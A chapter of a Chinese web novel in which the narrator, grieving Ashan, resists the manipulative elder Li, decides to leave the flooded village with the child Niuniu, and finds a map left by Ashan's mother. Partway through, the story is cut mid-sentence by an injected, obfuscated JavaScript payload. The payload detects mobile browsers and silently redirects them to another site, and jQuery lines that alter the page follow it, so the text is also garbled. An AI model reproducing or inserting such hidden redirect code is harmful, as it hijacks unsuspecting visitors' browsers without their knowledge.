回到祠堂偏房，李大先生已经醒了。
他靠坐在墙角，左臂用破布条吊着，脸色蜡黄，但那双眼睛依然锐利，甚至比之前更加锐利，像淬了毒的针。他看到我进来，眼神闪烁了一下，那闪烁里没有感激，只有一种深不见底的算计。
“阿山呢？”他问，声音嘶哑得像破风箱。
“埋了。”我面无表情地说。
屋里瞬间安静下来。所有人都看向我，又看向李大先生，那目光里掺杂着同情、畏惧，还有一种更隐秘的东西，仿佛阿山的死终于印证了某种他们早已相信的宿命。李大先生沉默了很久，手指无意识地摩挲着那块被他拼死救出来的祖宗牌位。牌位已经裂了，用泥勉强糊着，像这个村子一样，外表还维持着形状，内里早已朽坏。
“他……”李大先生开口，又停住，最后只吐出三个字，“……可惜了。”
那语气里听不出多少悲痛，更像是一种筹码意外丢失后的遗憾。我看着他，忽然觉得胃里一阵翻搅。阿山用命换来的，就是这个人的一句“可惜了”。那些滚烫的血，那些断裂的骨头，那些最后时刻可能还残存的对我的担忧，在这个精于算计的老者眼里，不过是一笔算错了的账。
“地窖里有粮食。”李大先生转移了话题，语气恢复了那种惯常的、不容置疑的腔调，仿佛刚才那片刻的沉默只是为接下来的发号施令积蓄力量。“王家的，带两个人下去，把能吃的都搬上来。洪水退了，但冬天来了，得早做打算。”
几个妇人应声去了，脚步声在泥泞的地面上拖沓而沉重。李大先生的目光又落回我身上，像黏腻的蛛网：“琪琪姑娘，这次……多亏了你和阿山。”
我没有说话，任何言语在此刻都显得苍白而可笑。
“阿山是为了救我才……”他顿了顿，似乎在斟酌词句，好让接下来的话听起来更冠冕堂皇，“他是青石村的英雄。等灾情过去，我会召集全村，给他立碑。”
立碑？我几乎要冷笑出声。人都死了，烂在泥里了，立碑有什么用？碑文能写什么？写他如何为一个视他性命如草芥的人而死？写他如何被这个他试图守护的村庄的愚昧和冷漠逼上绝路？我依然沉默，这沉默像一堵墙，隔在我和他之间，隔在我和这个荒诞的世界之间。
李大先生似乎被我的沉默硌了一下。他清了清嗓子，那声音干涩难听：“你……接下来有什么打算？”他的瞳孔深处，像两口枯井，映不出任何光亮。
我抬起眼，直视他：“我要离开。”
“离开？”他眉头皱起，那皱纹里刻满了不赞同和隐隐的警惕，“现在山路都被冲毁了，外面兵荒马乱，出去就是送死。青石村虽然遭了灾，但根基还在，等水退，我们重建家园……”
“那是你们的事。”我打断他，声音不高，却异常清晰，“我要走。”
“你一个人走不了！”他的声音陡然拔高，带着一种被冒犯的恼怒，还有一丝不易察觉的慌乱，“而且，阿山刚死，尸骨未寒，你就急着离开，对得起他吗？”
这句话像一把淬了冰的匕首，精准无比地捅进我心里最柔软、最疼痛的地方。对得起他吗？这四个字在我脑海里反复撞击，激起一片尖锐的回响。我几乎要蜷缩起来，几乎要被这沉重的愧疚压垮。阿山的脸，他最后那个疲惫而温柔的笑容，他躺进土里时那永远凝固的姿势……这一切都让我呼吸困难。
但我没有退缩。一种更强大的、近乎本能的东西从心底涌起，压过了那噬骨的愧疚。我看着他，一字一句，像是从齿缝里挤出来：“正是因为他死了，我才必须走。”
留在这里，每一口呼吸都会提醒我他的死亡，每一寸土地都浸染着他的血迹。留在这里，我会被这无边的悔恨和这个村庄令人窒息的氛围活活吞噬。走，不是为了逃离他，而是为了背负着他留给我的那点微弱的关于“山外”和“光”的念想活下去。尽管此刻，连我自己都分不清，我想活下去，究竟是因为怕死，还是因为……这里已经有了让我眷恋到忘记真实与虚幻界限的东西。
李大先生死死盯着我，那双浑浊的眼睛里翻涌着复杂的情绪是惊愕、愤怒、算计，还有一丝……了悟。他仿佛终于看穿我平静表面下的决绝，也看清那决绝背后无法动摇的意志。对峙的沉默在潮湿的空气里蔓延，压得人耳膜发胀。最后，他肩膀几不可察地垮了一下，叹了口气，那叹息里充满了虚伪的无奈和真实的权衡。
“好吧……既然你心意已决。”他说，声音恢复了那种刻意放缓的显得宽宏大量的调子，“但至少等两天，等路稍微干一点。而且……你一个人带个孩子，总需要准备些干粮和水。”
他说的孩子，是指妞妞。妞妞一直躲在我身后，小手死死攥着我的衣角，指甲几乎要掐进我的皮肉里。她没有哭，只是睁着那双过早蒙上恐惧的大眼睛，看看李大先生，又看看我，像一只受惊的幼兽。
我没有反对。李大先生说的有道理，现在的确不是上路的时候。更深的寒意却从脊椎爬上来，他答应得太轻易了。这不像他的作风。这个将控制刻进骨子里的老人，怎么会如此轻易地放走我这个异端？
接下来的两天，我在熟悉的诡异且绷紧的平静中度过。
李大先生没有再为难我，甚至让王婶分给我和妞妞一份口粮。尽管那口粮少得可怜，几块硬如石头的杂粮饼，一小撮带着土腥味的粗盐，却已是这废墟里难得的善意。其他幸存者看我的眼神依然复杂，但至少没有人再当面指斥我为“妖女”。阿山的死，像一盆冷水，暂时浇熄了某些蠢蠢欲动的恶意，也或许，在生存的绝对压力面前，那些无谓的敌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119591|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意显得如此苍白可笑。
但我心里那根弦始终绷着，我太了解李大先生了。他的妥协从来不是终点，而是另一种计算的开始。每一次他看似温和的目光扫过我和妞妞，我都感觉像被冰冷的蛇信舔过。妞妞变得异常安静，除了必要，几乎不开口说话，只是紧紧跟在我身边，那双眼睛里除了对我依赖，还有莫名巨大的恐惧。她在怕什么？怕离开？还是怕……留下？
深夜，万籁俱寂，只有远处洪水的呜咽和幸存者压抑的鼾声。我悄悄起身，摸出那把阿山的铜钥匙。妞妞在睡梦中不安地动了动，我轻轻拍了拍她，她蜷缩得更紧，却没有醒。
祠堂正厅在月光下像一个巨大的、坍塌的兽口。地窖的入口就在原来供奉牌位的长案下方，如今长案断成数截，露出下方黑黢黢的洞口，仿佛通往另一个世界的咽喉。我点燃一根用破布和松脂勉强缠成的火把，橘黄的光晕在潮湿的墙壁上跳动，映出鬼魅般的影子。踩着湿滑黏腻的台阶走下去，霉味、土腥气和一种陈年积垢的气息扑面而来，几乎令人窒息。
地窖不大，借着摇曳的火光，能看到角落里堆着些半空的陶罐、受潮的麻袋，还有几件锈蚀的农具，一切都蒙着厚厚的泥尘。最里面，靠墙放着一个不起眼的木箱，箱体被岁月侵蚀得颜色发黑，却异常沉实。
钥匙插入锁孔的瞬间，发出“咔哒”一声轻响，在这死寂中格外清晰，我掀开箱盖。
没有金银财宝，只有几件叠得整整齐齐的粗布衣服，洗得发白，边角磨损，却异常干净，仿佛有人一直精心保管。那是女人的衣服。衣服下面，压着一本薄薄的手抄的《千字文》，纸张泛黄脆裂，墨迹却依然清晰，能看出书写者的认真。最下面，是一卷用油布仔细包裹着的东西，边角捆扎得一丝不苟。
我打开油布。
里面是一张手绘的地图，画在鞣制过的羊皮上，触感粗粝而坚韧。线条勾勒得不算精致，却异常清晰有力。青石村只是边缘一个微不足道的小点，一条弯弯曲曲、标注着山川河流的线，从这里毅然决然地出发，执拗地翻过三座险峻的山峰，跨过两条湍急的河流，最终指向一个叫做“清河镇”的地方。
地图的边缘，用娟秀工整的小楷写着几行注释：
“此路险，多狼豹，逢雨勿行。”
“过黑风岭需昼行，夜有瘴气。”
“清河镇有驿馆，可歇脚，勿信牙人。”
字迹清秀端正，和阿山那种粗犷有力的笔迹完全不同。是他母亲留下的。那个同样来自山外，最终消失在风雪中的女人。她把自己未能走完的路，未能抵达的“光”，连同对一个陌生世界全部的小心翼翼的认知，都留在了这张羊皮上。这不是一张普通的地图，这是一个母亲在绝境中，为可能存在的未来，埋下的一颗微弱的火种。